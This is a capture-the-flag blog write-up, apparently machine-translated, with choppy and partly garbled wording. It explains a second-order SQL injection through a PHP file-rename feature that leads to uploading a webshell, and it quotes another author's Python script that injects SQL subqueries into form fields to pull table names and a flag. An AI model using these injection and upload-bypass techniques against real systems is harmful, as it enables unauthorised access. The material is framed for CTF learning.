Attack and defense world page 3 8 points

Posted by helz on Fri, 04 Feb 2022 13:21:15 +0100


Inspection point: secondary injection + code audit capability

Old rule – > scan directly
The existing directory is found to be

Find a www.tar GZ file
Combined with the upload function in the web page
The idea of guessing this question may be to use the leaked file to audit the code and upload it successfully
Get getshell
So download it and start auditing the code

Audit a wave
① There can only be these five types of files in the file, otherwise the error class status will be echoed – > use in_ The array command implements the function of comparison
② When the file already exists, it will reply to the existing status and characteristics of the file
③ Using move_uploaded_file changes the name and path of the uploaded file, and inserts the path and name class of the file into the file

It is found that it is possible to construct sql statements and then execute them in rename

here oldname='{$result['filename']}' Will be found in the database $result['filename']It is put into storage again, resulting in a secondary injection.

rename. After PHP file analysis

filename=$req['oldname '] is to query whether the oldname entered from the database lies in the filename field, and then update it
oldname={$result['filename ']} updates the filename previously queried from the database to oldname, and stores it again, resulting in secondary injection
You can use sql injection to affect that the extension is empty, and then add it when modifying the file php suffix
Bypass file_exists() only needs to upload a file name that is the same as the value of filename in the database again

Execution process
① Create a new empty file


② Renamed upload jpg
About to change 'extension =' to upload Jpg – > features in the database at this time

update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}"

③ Upload at jpg
After uploading, change the name to upload PHP to get shell
Get flag

Understanding – > the article of the boss understands the causes, conditions and characteristics of the secondary injection here

The most important thing is the last five lines. Oldname and newname,There are several characteristics:

The suffixes are the same $result['extension'] oldname The file name is from the database, newname The file name comes from user input. First, the suffix is the same, which leads to getshell It seems difficult to complete if you want to getshell Then we must put "non".php"Rename the suffix file to“.php"File. How to rename the same suffix? Unless the suffix is empty! So our update Type injection began to come in handy. adopt update Type injection, we can put it into the database extension The value of the field is changed to blank, and it can also be controlled filename That means I can control rename The value of the two parameters of the function, so getshell It's close at hand.

But there is another hole. When changing the name here, we checked whether the file exists: if(file_exists($oldname))Although I modified it through injection filename Value, but I upload The file name uploaded under the directory has not been changed. Because I use injection to extension If it is changed to empty, then in fact filename There is always one suffix less than the real file name in the file system. So here file_exists It can't be verified. What should I do? Easy, upload a new file again, and the file name is equal to that in the database filename Just the value of.


Directory scanning starts

And some interesting things are also scanned through burp scanning

Open the scanned directory
Get these two interesting things

I'm a little confused about how to do this problem. I doubt it may really have something to do with that document

Put it first

Discover the script of the big guys

import requests
import random
import urllib

url = ''

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('' +
            "s": "3",
            "txtfirst_name": "L','1',("+subquery+"),'1'/*",
            "txtmiddle_name": "m",
            "txtLast_name": "y",
            "txtname_suffix": "Esq.",
            "txtdob": "*/,'01/10/2019",
            "txtdl_nmbr": id,
            "txtRetypeDL": id
            }) + "&")

r = requests.get(url, params={"dl": d})


Obtained after scanning

There should be something, but I can't read it

Topics: security Web Security CTF